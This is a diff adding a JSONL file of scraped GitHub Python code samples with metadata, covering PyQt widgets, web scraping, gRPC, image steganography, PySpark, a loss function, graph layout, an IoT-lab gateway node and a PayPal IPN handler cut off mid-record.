diff --git "a/1418.jsonl" "b/1418.jsonl" new file mode 100644--- /dev/null +++ "b/1418.jsonl" @@ -0,0 +1,975 @@ +{"seq_id": "19550507951", "text": "import sys\n\nimport PyQt5.QtWidgets as qtw\nimport PyQt5.QtGui as qtg\n\nclass MainWindow(qtw.QWidget):\n def __init__(self):\n super().__init__()\n\n #Add a title\n self.setWindowTitle('Hello world')\n\n #set vertical layout \n self.setLayout(qtw.QVBoxLayout())\n\n #create a label\n self.my_label = qtw.QLabel(\"Pick something from the list\")\n \n self.layout().addWidget(self.my_label)\n\n #Change font size of label\n self.my_label.setFont(qtg.QFont('Helvetica', 24))\n\n # Create an combo box\n self.my_combo = qtw.QComboBox(self,\n editable=True,\n insertPolicy=qtw.QComboBox.InsertAtTop)\n #Add items to combo box\n self.my_combo.addItem('Pepperoni', 'Something') # (text, data, index)\n self.my_combo.addItem('Cheese', 2)\n self.my_combo.addItem('Mushroom', qtw.QWidget)\n self.my_combo.addItem('Peppers')\n \n #Put combo on the screen \n self.layout().addWidget(self.my_combo)\n\n #Create a button \n my_button = qtw.QPushButton('Press me!', \n clicked=lambda:self.press_it())\n self.layout().addWidget(my_button)\n\n #show the app\n self.show()\n\n def press_it(self):\n #Add name to text\n #self.my_label.setText(f'You picked {self.my_combo.currentText()}')\n\n self.my_label.setText(f'You picked : {self.my_combo.currentData()}')\n #self.my_label.setText(f'You picked : {self.my_combo.currentIndex()}')\n\n\n\nif __name__ == '__main__':\n app = qtw.QApplication(sys.argv)\n mw = MainWindow()\n\n app.exec_()", "repo_name": "DmitryAsdre/PyQtLessons", "sub_path": "lesson_1_combo_boxes.py", "file_name": "lesson_1_combo_boxes.py", "file_ext": "py", "file_size_in_byte": 1711, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 6, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 6, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 14, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 14, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 17, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 17, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 22, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 22, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 25, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 25, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 27, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 31, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 31, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 38, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 55, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 55, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 55, "usage_type": "attribute"}]} +{"seq_id": "20756975642", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nG. L. Roberts \n\n15 August 2017\n\nhttp://www.practicepython.org/exercise/2014/06/06/17-decode-a-web-page.html\n\nUses beautifulsoup to parse NYTimes website and print out the top 10 headlines \nand their summaries\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef main():\n url = 'https://www.nytimes.com/'\n r=requests.get(url)\n soup = BeautifulSoup(r.text,'html.parser')\n headlines=soup.findAll(\"h2\",{\"class\":\"story-heading\"})\n summaries=soup.findAll(\"p\",{\"class\":\"summary\"})\n headlinesList=[]\n summariesList=[]\n for storyHeading in headlines:\n headlinesList.append(storyHeading.text.replace(\"\\n\",\" \").strip())\n for summaryHeading in summaries: \n summariesList.append(summaryHeading.text.replace(\"\\n\",\" \").strip())\n \n print(\"Today's headlines are: \")\n print(\"-------------------------------------------------------------\")\n \n for i in range(10):\n print(headlinesList[i]+\"\\n\")\n print(summariesList[i]+\"\\n\")\n print(\"-------------------------------------------------------------\")\n \n \nif __name__ == \"__main__\":\n main()\n\n", "repo_name": "georgelroberts/Python_practice", "sub_path": "Exercise 17 - Decode a web page.py", "file_name": "Exercise 17 - Decode a web page.py", "file_ext": "py", "file_size_in_byte": 1133, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "3555176153", "text": "import grpc\nimport location_pb2\nimport location_pb2_grpc\n\n\"\"\"\nSample implementation of a writer that can be used to write messages to gRPC.\n\"\"\"\n\nprint(\"Sending sample payload...\")\n\nchannel = grpc.insecure_channel(\n \"udaconnect-location.staging.udacity.impara8.com:5005\")\n# \"localhost:5005\")\nstub = location_pb2_grpc.LocationServiceStub(channel)\n\n# Update this with desired payload\nlocation = location_pb2.LocationMessage(\n longitude=\"37.5534409999999994\", # \"37.55363\",\n person_id=6,\n latitude=\"-153.2905240000000049\", # \"-122.290883\",\n)\n\n\nresponse = stub.Create(location)\nprint(response)\n", "repo_name": "takahiro-impara/nd064-c2-message-passing-projects-starter", "sub_path": "modules/location-grpc/writter.py", "file_name": "writter.py", "file_ext": "py", "file_size_in_byte": 603, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "grpc.insecure_channel", "line_number": 11, "usage_type": "call"}, {"api_name": "location_pb2_grpc.LocationServiceStub", "line_number": 14, "usage_type": "call"}, {"api_name": "location_pb2.LocationMessage", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "38743733202", "text": "from PIL import Image\n\n\ndef cache(image: Image, message: Image) -> Image:\n width, height = image.size\n im_pix = image.load()\n mess_pix = message.load()\n assert width, height == message.size(\"Les dimensions doivent être les mêmes.\")\n result = Image.new(\"RGB\", message.size)\n res_pix = result.load()\n for x in range(width):\n for y in range(height):\n r, g, b = im_pix[x, y]\n s = (r + g + b) % 2\n t = (mess_pix[x, y] == (0, 0, 0))\n if (t and s) or (not t and not s):\n b += 1\n res_pix[x, y] = (r, g, b)\n return result\n\n\ndef revele(image: Image) -> Image:\n width, height = image.size\n result = Image.new(\"RGB\", image.size)\n res_pix = result.load()\n im_pix = image.load()\n for x in range(width):\n for y in range(height):\n cur_pix = im_pix[x, y]\n s = sum(cur_pix) % 2\n res_pix[x, y] = (255 * s, 255 * s, 255 * s)\n return result\n\n\nimg = Image.open(\"joconde_0.jpg\")\nmes = Image.open(\"message.png\")\nres = cache(img, mes)\nres.show()\nres2 = revele(res)\nres2.show()\n", "repo_name": "UGLimusic/mes_cours_2021", "sub_path": "NSI1/Séance pour les bons/PIL et co/steganographie.py", "file_name": "steganographie.py", "file_ext": "py", "file_size_in_byte": 1113, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "PIL.Image", "line_number": 4, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 9, "usage_type": "name"}, {"api_name": "PIL.Image", "line_number": 22, "usage_type": "name"}, {"api_name": "PIL.Image.new", "line_number": 24, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 24, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 35, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 35, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 36, "usage_type": "name"}]} +{"seq_id": "71466448599", "text": "import stabilizeSwitch\nimport gyroSensor\nimport homePositionSwitch\nimport motor\nimport timer\nimport controller\n\ndef goHome():\n while not((homePositionSwitch.isHome())):\n motor.turnCCW()\n \ndef goToStartStabilizePosition():\n print('go to stabilize position.')\n motor.turnCW()\n timer.delay(motor.timeToStartPosition)\n\ndef stabilize():\n controller.Control(gyroSensor.rotation())\n\ndef main():\n stabilizeSwitch.initialize()\n gyroSensor.initialize()\n homePositionSwitch.initialize()\n motor.initialize()\n\n timer.delay(500);\n\n stabilizeState = stabilizeSwitch.position()\n \n while 1:\n while stabilizeSwitch.position() == stabilizeState:\n pass\n \n stabilizeState = stabilizeSwitch.position()\n goHome()\n\n if stabilizeState == stabilizeSwitch.on:\n goToStartStabilizePosition()\n stabilize()\n", "repo_name": "em-c-rod/self-stabilizing-stretcher", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 823, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "homePositionSwitch.isHome", "line_number": 9, "usage_type": "call"}, {"api_name": "motor.turnCCW", "line_number": 10, "usage_type": "call"}, {"api_name": "motor.turnCW", "line_number": 14, "usage_type": "call"}, {"api_name": "timer.delay", "line_number": 15, "usage_type": "call"}, {"api_name": "motor.timeToStartPosition", "line_number": 15, "usage_type": "attribute"}, {"api_name": "controller.Control", "line_number": 18, "usage_type": "call"}, {"api_name": "gyroSensor.rotation", "line_number": 18, "usage_type": "call"}, {"api_name": "stabilizeSwitch.initialize", "line_number": 21, "usage_type": "call"}, {"api_name": "gyroSensor.initialize", "line_number": 22, "usage_type": "call"}, {"api_name": "homePositionSwitch.initialize", "line_number": 23, "usage_type": "call"}, {"api_name": "motor.initialize", "line_number": 24, "usage_type": "call"}, {"api_name": "timer.delay", "line_number": 26, "usage_type": "call"}, {"api_name": "stabilizeSwitch.position", "line_number": 28, "usage_type": "call"}, {"api_name": "stabilizeSwitch.position", "line_number": 31, "usage_type": "call"}, {"api_name": "stabilizeSwitch.position", "line_number": 34, "usage_type": "call"}, {"api_name": "stabilizeSwitch.on", "line_number": 37, "usage_type": "attribute"}]} +{"seq_id": "38936232368", "text": "from operator import add\nfrom pyspark import SparkContext,SparkConf\n \n\n\nfrom random import random\n#from operator import add\n\nfrom pyspark.sql import SparkSession\n\n\nif __name__ == \"__main__\":\n \n\n conf = SparkConf().setAppName(\"PyFileProcess\").setMaster(\"local[4]\")\n sc = SparkContext(conf=conf)\n\n txtFile = sc.textFile(\"./test.dat\"); \n totalLine = txtFile.count(); \n print(\"Total Line %f\" % totalLine)\n\n# no of line with len = 5\n lineWithLen5 = txtFile.filter(lambda p : len(p) == 5);\n totalLine = lineWithLen5.count();\n print(\"Total Line with Len 5 = %d\" % totalLine)\n\n# no of word with len = 5\n allWords = txtFile.flatMap(lambda x: x.split(\" \"));\n totalWordCount = allWords.count();\n print(\"Total word count = %d\" % totalWordCount)\n\n wordWithLen5 = allWords.filter(lambda p : len(p) == 5).distinct();\n print(\"Total Line with Len 5 = %d\" % wordWithLen5.count())\n\n allWordWithLen5 = wordWithLen5.collect();\n \n sc.stop()\n\n ", "repo_name": "cskch99/pyspark", "sub_path": "PyFileProcess.py", "file_name": "PyFileProcess.py", "file_ext": "py", "file_size_in_byte": 974, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pyspark.SparkConf", "line_number": 15, "usage_type": "call"}, {"api_name": "pyspark.SparkContext", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "21821048279", "text": "import torch\nimport logging\n\nlogging.getLogger().setLevel(logging.DEBUG)\n\n\ndef contrastive_loss(\n embeddings: torch.tensor,\n labels: torch.tensor,\n num_labels: int,\n same_label_multiplier: int = 2,\n):\n batch_size = len(labels)\n max_label_distance = num_labels - 1\n\n # B X EMB_SIZE\n normalized_embs = torch.nn.functional.normalize(\n embeddings, p=2.0, dim=-1, eps=1e-12\n )\n logging.debug(f\"normalized_embs: {normalized_embs}\")\n\n # B X B\n similarity_matrix = normalized_embs @ normalized_embs.T\n logging.debug(f\"similarity matrix: {similarity_matrix}\")\n\n # B X B (upper right triangular), using label distances as \"importance\" weights\n label_distances = torch.zeros(batch_size, batch_size).to(normalized_embs)\n for row in range(batch_size):\n for col in range(row, batch_size):\n label_distances[row, col] = torch.abs(labels[row] - labels[col])\n\n # label_distances = max_label_distance - label_distances\n\n # If same label, want to maximize similarity so need to make contribution negative\n # Ignore self-similarity\n same_label_pair_count = 0\n for row in range(batch_size):\n for col in range(row, batch_size):\n if label_distances[row, col] == 0 and row != col:\n label_distances[row, col] = -same_label_multiplier # arbitrary\n same_label_pair_count += 1\n\n logging.debug(f\"label_distances: {label_distances}\")\n\n # Cosine similarities weighted by their label distances\n similarity_matrix = similarity_matrix * label_distances\n logging.debug(f\"label weighted similarity matrix: {similarity_matrix}\")\n\n # Loss is sum of label weighted distances\n loss = torch.sum(similarity_matrix)\n logging.debug(f\"loss: {loss}\")\n\n # Perform max-min normalization on loss\n num_active = ((batch_size * batch_size) - batch_size) / 2.0\n diff_label_pair_count = num_active - same_label_pair_count\n max_loss = diff_label_pair_count * (max_label_distance)\n min_loss = -(same_label_pair_count * same_label_multiplier)\n normalized_loss = (loss - min_loss) / (max_loss - min_loss)\n logging.debug(\n f\"max_loss: {max_loss}, min_loss: {min_loss}, loss (before): {loss}, loss (after): {normalized_loss}\"\n )\n\n return normalized_loss\n", "repo_name": "ardenma/cs329s", "sub_path": "backend/utils/loss.py", "file_name": "loss.py", "file_ext": "py", "file_size_in_byte": 2285, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "85", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 4, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 9, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.normalize", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.abs", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 43, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 59, "usage_type": "call"}]} +{"seq_id": "72454154837", "text": "from collections import Counter\n\nimport igraph\nfrom sklearn.preprocessing import MinMaxScaler\n\nnodes = {}\nnodelist = []\nwith open(\"data/nodes.tsv\", \"r\") as f:\n for l in f:\n node, pr = l.strip().split(\"\\t\")\n pr = float(pr)\n nodes[node] = pr\n nodelist.append(node)\n\nedges = []\nwith open(\"data/edges.tsv\", \"r\") as f:\n for l in f:\n fromid, toid, w = l.strip().split(\"\\t\")\n if fromid in nodes and toid in nodes:\n t = (fromid, toid, w)\n edges.append(t)\n\ng = igraph.Graph()\nfor n, p in nodes.items():\n g.add_vertex(n, pr=p)\n\nfor e in edges:\n g.add_edge(e[0], e[1], weight=e[2])\n\nl = g.layout_fruchterman_reingold_3d()\n# l = g.layout_kamada_kawai_3d()\ncoords = []\nfor c in l:\n coords.append(c)\n\nscaler = MinMaxScaler(feature_range=(-500, 500))\nscaler.fit(coords)\nrescaled_coords = scaler.transform(coords)\n\nnode_coord = {}\nfor i in range(len(nodelist)):\n node = nodelist[i]\n node_coords = rescaled_coords[i]\n node_coord[node] = list(rescaled_coords[i])\n\nwith open(\"data/node_coords.tsv\", \"w\") as f:\n for i in range(len(nodelist)):\n node = nodelist[i]\n node_coords = list(rescaled_coords[i])\n node_coords = [str(i) for i in node_coords]\n node_coords = \"\\t\".join(node_coords)\n radius = nodes[node]\n o = node_coords + \"\\t\" + str(radius) + \"\\n\"\n f.write(o)\n\nwith open(\"data/edge_coords.tsv\", \"w\") as f:\n for e in edges:\n n1, n2, we = e[0], e[1], e[2]\n if n1 in node_coord and n2 in node_coord:\n coord1 = list(node_coord[n1])\n coord2 = list(node_coord[n2])\n coord1 = [str(i) for i in coord1]\n coord2 = [str(i) for i in coord2]\n coord1 = \"\\t\".join(coord1)\n coord2 = \"\\t\".join(coord2)\n o = coord1 + \"\\t\" + coord2 + \"\\t\" + we + \"\\n\"\n f.write(o)\n", "repo_name": "crow-intelligence/music_networks", "sub_path": "src/graph_viz/render_graph.py", "file_name": "render_graph.py", "file_ext": "py", "file_size_in_byte": 1874, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "85", "api": [{"api_name": "igraph.Graph", "line_number": 23, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "33892474386", "text": "import xml.etree.ElementTree as ET\ninput = '''\n \n \n 001\n Chuck\n \n \n 009\n Brent\n \n \n'''\n\nstuff = ET.fromstring(input)\nlistUser = stuff.findall('users/user')\nprint(\"List User: \", listUser)\nprint(\"length: \", len(listUser))\n\nfor items in listUser :\n print('id: ', items.find('id').text)\n print('name: ', items.find('name').text)\n print('Attribute', items.get('x'))\n", "repo_name": "ngoccuong1999/StudyPython", "sub_path": "ExercisePython/XMLPythonTest.py", "file_name": "XMLPythonTest.py", "file_ext": "py", "file_size_in_byte": 564, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "xml.etree.ElementTree.fromstring", "line_number": 15, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 15, "usage_type": "name"}]} +{"seq_id": "71580624279", "text": "\n\n#-*-coding:utf-8-*-\n# author：linhan\nimport requests\nimport json\nimport time\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.header import Header\nimport threading\n'''\ndef paper():\n f = open('log_file1.txt', 'a+')\n f.write(\"7net-test-paper\" + '\\n')\n headers = {\"Content-Type\": \"application/x-www-form-urlencoded\",\"version\":\"2.2.0\"}\n s = {\"userCode\": \"XXXXX\", \"password\": 'zm123456'}\n url = 'https://szone-api.7net.cc/login'\n r = requests.post(url, data=s, headers=headers)\n text = (r.text)\n response = json.dumps(text)\n print (text)\n print (r.elapsed.total_seconds())\n f.write(response + '\\n')\n f.write('\\n')\n if (r.status_code==200) and eval(text)['message'] == 'success' :\n print (\"结果正常\")\n f.write('\\n')\n f.write(\"Pass\")\n else:\n print (\"结果异常\")\n f.write(\"Error\")\n f.write('\\n')\n f.write('=============================================================================' + '\\n')\n f.write('=============================================================================' + '\\n')\n f.write('\\n')\n f.write('\\n')\n f.write('\\n')\n'''\ndef getinfo():\n f = open('log_file1.txt', 'a+')\n f.write(\"7net-test-paper\" + '\\n')\n headers = {\"Content-Type\": \"application/x-www-form-urlencoded\",\"token\":\"XXXXXXXXXXXXXXXXXXXXXXXX\",\"version\":\"2.2.0\"}\n url = 'https://szone-api.7net.cc/UserInfo/GetUserInfo'\n r = requests.get(url,headers=headers)\n text = (r.text)\n response = json.dumps(text)\n print (text)\n print (r.elapsed.total_seconds())\n f.write(response + '\\n')\n f.write('\\n')\n if (r.status_code==200) and eval(text)['message'] == 'success' :\n print (\"结果正常\")\n f.write('\\n')\n f.write(\"Pass\")\n else:\n print (\"结果异常\")\n f.write(\"Error\")\n f.write('\\n')\n f.write('=============================================================================' + '\\n')\n f.write('=============================================================================' + '\\n')\n f.write('\\n')\n f.write('\\n')\n f.write('\\n')\n\ndef thd():\n Threads = []\n for i in range(100):\n t=threading.Thread(target=getinfo)\n Threads.append(t)\n for t in Threads:\n t.start()\nif __name__ == '__main__':\n thd()\n\n'''\ndef sleeptime(hour,min,sec):\n return hour*3600 + min*60 + sec;\nsecond = sleeptime(0,0,0);\nwhile 1==1:\n time.sleep(second);\n paper()\nsleeptime()\n'''\n\n\n\n", "repo_name": "luolinhan/python-", "sub_path": "时长.py", "file_name": "时长.py", "file_ext": "py", "file_size_in_byte": 2472, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "requests.get", "line_number": 45, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 47, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 69, "usage_type": "call"}]} +{"seq_id": "31057039368", "text": "import os.path\nimport logging\nimport shlex\n\nfrom gateway_code.common import logger_call\nfrom gateway_code.nodes import ControlNodeBase\nfrom gateway_code.utils import subprocess_timeout\nfrom gateway_code.utils.mjpg_streamer import MjpgStreamer\n\nLOGGER = logging.getLogger('gateway_code')\n\nLOCAL_CONFIG_DIR = '/var/local/config'\nCAMERA_CONFIG = os.path.join(LOCAL_CONFIG_DIR, 'camera')\n\n# This command controls the power of the open node/rtl_tcp USB stick via the\n# Yepkit module.\nYKUSHCMD = \"sudo ykushcmd {model} {cmd} {port}\"\n\n\ndef _call_cmd(command_str):\n \"\"\" Run the given command_str.\"\"\"\n\n kwargs = {'args': shlex.split(command_str)}\n try:\n return subprocess_timeout.call(**kwargs)\n except subprocess_timeout.TimeoutExpired as exc:\n LOGGER.error(\"Command '%s' timeout: %s\", command_str, exc)\n return 1\n\n\nclass ControlNodeRpi3(ControlNodeBase):\n \"\"\" No Control Node \"\"\"\n TYPE = 'cnrpi3'\n FEATURES = ['open_node_power']\n MJPG_STREAMER_PORT = 40000\n\n def __init__(self, node_id, default_profile):\n self.node_id = node_id\n self.default_profile = default_profile\n self.profile = self.default_profile\n self.open_node_state = 'stop'\n self.mjpg_streamer = MjpgStreamer(self.MJPG_STREAMER_PORT)\n\n @property\n def programmer(self):\n \"\"\"No programmer is available on this type of control node.\"\"\"\n return None\n\n @logger_call(\"Control node: Start\")\n def start(self, exp_id, exp_files=None): # pylint:disable=unused-argument\n \"\"\" Start ControlNode serial interface \"\"\"\n ret_val = 0\n ret_val += self.open_start('dc')\n return ret_val\n\n @logger_call(\"Control node: Stop\")\n def stop(self):\n \"\"\" Start ControlNode \"\"\"\n ret_val = 0\n ret_val += self.open_stop('dc')\n return ret_val\n\n @staticmethod\n @logger_call(\"Control node: Setup\")\n def setup():\n \"\"\"Setup control node.\"\"\"\n return 0\n\n @staticmethod\n def _ykush_params(cmd):\n params = {'model': 'ykushxs', 'cmd': cmd, 'port': ''}\n return params\n\n @logger_call(\"Control node: start power of open node\")\n def open_start(self, power=None): # pylint:disable=unused-argument\n \"\"\" Start open node with 'power' source \"\"\"\n ykush_params = self._ykush_params('-u')\n ret_val = 0\n ret_val += _call_cmd(YKUSHCMD.format(**ykush_params))\n if ret_val == 0:\n self.open_node_state = 'start'\n return ret_val\n\n @logger_call(\"Control node: stop power of open node\")\n def open_stop(self, power=None): # pylint:disable=unused-argument\n \"\"\" Stop open node with 'power' source \"\"\"\n ykush_params = self._ykush_params('-d')\n ret_val = 0\n ret_val += _call_cmd(YKUSHCMD.format(**ykush_params))\n if ret_val == 0:\n self.open_node_state = 'stop'\n return ret_val\n\n @logger_call(\"Control node: Flash\")\n def flash(self, firmware_path=None, binary=False, offset=0):\n # pylint:disable=unused-argument\n \"\"\"Flash control node\"\"\"\n return 0\n\n @logger_call(\"Control node: Start experiment\")\n def start_experiment(self, profile):\n \"\"\" Configure the experiment \"\"\"\n ret_val = 0\n ret_val += self.configure_profile(profile)\n if os.path.isfile(CAMERA_CONFIG):\n ret_val += self.mjpg_streamer.start()\n LOGGER.debug(\"Process started: mjpg_streamer, ret: %d\", ret_val)\n return ret_val\n\n @logger_call(\"Control node: Stop the experiment\")\n def stop_experiment(self):\n \"\"\"Cleanup the control node configuration.\"\"\"\n ret_val = 0\n ret_val += self.configure_profile(None)\n ret_val += self.open_start('dc')\n if os.path.isfile(CAMERA_CONFIG):\n ret_val += self.mjpg_streamer.stop()\n LOGGER.debug(\"Process stopped: mjpg_streamer, ret: %d\", ret_val)\n return ret_val\n\n def autotest_setup(self, measures_handler):\n \"\"\"Setup for autotests.\"\"\"\n return 0\n\n def autotest_teardown(self, stop_on):\n \"\"\"Teardown autotests.\"\"\"\n return 0\n\n @logger_call(\"Control node: profile configuration\")\n def configure_profile(self, profile=None):\n \"\"\" Configure the given profile on the control node \"\"\"\n LOGGER.info('Configure profile on Control Node')\n self.profile = profile or self.default_profile\n return 0\n\n def status(self):\n \"\"\" Check Control node status \"\"\"\n return 0\n", "repo_name": "iot-lab/iot-lab-gateway", "sub_path": "gateway_code/control_nodes/cn_rpi3/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 4509, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "85", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 13, "usage_type": "name"}, {"api_name": "shlex.split", "line_number": 23, "usage_type": "call"}, {"api_name": "gateway_code.utils.subprocess_timeout.call", "line_number": 25, "usage_type": "call"}, {"api_name": "gateway_code.utils.subprocess_timeout", "line_number": 25, "usage_type": "name"}, {"api_name": "gateway_code.utils.subprocess_timeout.TimeoutExpired", "line_number": 26, "usage_type": "attribute"}, {"api_name": "gateway_code.utils.subprocess_timeout", "line_number": 26, "usage_type": "name"}, {"api_name": "gateway_code.nodes.ControlNodeBase", "line_number": 31, "usage_type": "name"}, {"api_name": "gateway_code.utils.mjpg_streamer.MjpgStreamer", "line_number": 42, "usage_type": "call"}, {"api_name": "gateway_code.common.logger_call", "line_number": 49, "usage_type": "call"}, {"api_name": "gateway_code.common.logger_call", "line_number": 56, "usage_type": "call"}, {"api_name": "gateway_code.common.logger_call", "line_number": 64, "usage_type": "call"}, {"api_name": "gateway_code.common.logger_call", "line_number": 74, "usage_type": "call"}, {"api_name": "gateway_code.common.logger_call", "line_number": 84, "usage_type": "call"}, {"api_name": "gateway_code.common.logger_call", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path.path.isfile", "line_number": 105, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 105, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 105, "usage_type": "name"}, {"api_name": "gateway_code.common.logger_call", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path.path.isfile", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 116, "usage_type": "name"}, {"api_name": "gateway_code.common.logger_call", "line_number": 110, "usage_type": "call"}, {"api_name": "gateway_code.common.logger_call", "line_number": 129, "usage_type": "call"}]} +{"seq_id": "41984319875", "text": "from paypal.standard.models import ST_PP_COMPLETED, ST_PP_PENDING\nfrom paypal.standard.ipn.signals import valid_ipn_received, invalid_ipn_received\nfrom .models import PaymentMethod, Invoice, Payment\nfrom .cart.models import Cart\nfrom .forms import InvoiceForm\nfrom .utils import send_cart_emails\nfrom django.conf import settings\nfrom django.dispatch import receiver\n\n@receiver(valid_ipn_received)\ndef show_me_the_money(sender, **kwargs):\n print('ipn signal received')\n ipn_obj = sender\n print(ipn_obj)\n if ipn_obj.payment_status == ST_PP_COMPLETED or ipn_obj.payment_status == ST_PP_PENDING:\n # WARNING !\n # Check that the receiver email is the same we previously\n # set on the `business` field. (The user could tamper with\n # that fields on the payment form before it goes to PayPal)\n if ipn_obj.receiver_email != settings.PAYPAL_RECEIVER_EMAIL:\n # Not a valid payment\n return\n\n # ALSO: for the same reason, you need to check the amount\n # received, `custom` etc. are all what you expect or what\n # is allowed.\n cart = Cart.objects.get(pk=ipn_obj.item_number)\n price = cart.total\n\n payment = PaymentMethod.objects.get(method='paypal')\n invoice = cart.invoice\n if invoice:\n invoice.full_name=ipn_obj.first_name + ' ' + ipn_obj.last_name\n invoice.phone=ipn_obj.contact_phone\n invoice.street=ipn_obj.address_street\n invoice.post=ipn_obj.address_zip\n invoice.city=ipn_obj.address_city\n invoice.is_terms=True\n invoice.is_privacy=True\n else:\n invoice = Invoice(\n full_name=ipn_obj.first_name + ' ' + ipn_obj.last_name,\n phone=ipn_obj.contact_phone,\n email=ipn_obj.payer_email,\n street=ipn_obj.address_street,\n post=ipn_obj.address_zip,\n city=ipn_obj.address_city,\n is_terms=True,\n is_privacy=True,\n payment=payment,\n )\n\n print(invoice.__dict__)\n print(invoice.full_name, type(invoice.full_name))\n print(invoice.phone, type(invoice.phone))\n print(invoice.street, type(invoice.street))\n print(invoice.post, type(invoice.post))\n print(invoice.city, type(invoice.city))\n print(invoice.is_terms, type(invoice.is_terms))\n print(invoice.is_privacy, type(invoice.is_privacy))\n invoice.save()\n cart.invoice = invoice\n cart.save()\n payment = Payment(invoice=cart.invoice, amount=ipn_obj.mc_gross)\n payment.save()\n\n print('processing purchase')\n cart.process_purchase()\n send_cart_emails(cart)\n\n else:\n pass\n\n@receiver(invalid_ipn_received)\ndef invalid_ipn(sender, **kwargs):\n print('invalid signal received')\n", "repo_name": "aadrm/breakoutwagtail", "sub_path": "apps/booking/handlers.py", "file_name": "handlers.py", "file_ext": "py", "file_size_in_byte": 2885, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "paypal.standard.models.ST_PP_COMPLETED", "line_number": 15, "usage_type": "name"}, {"api_name": 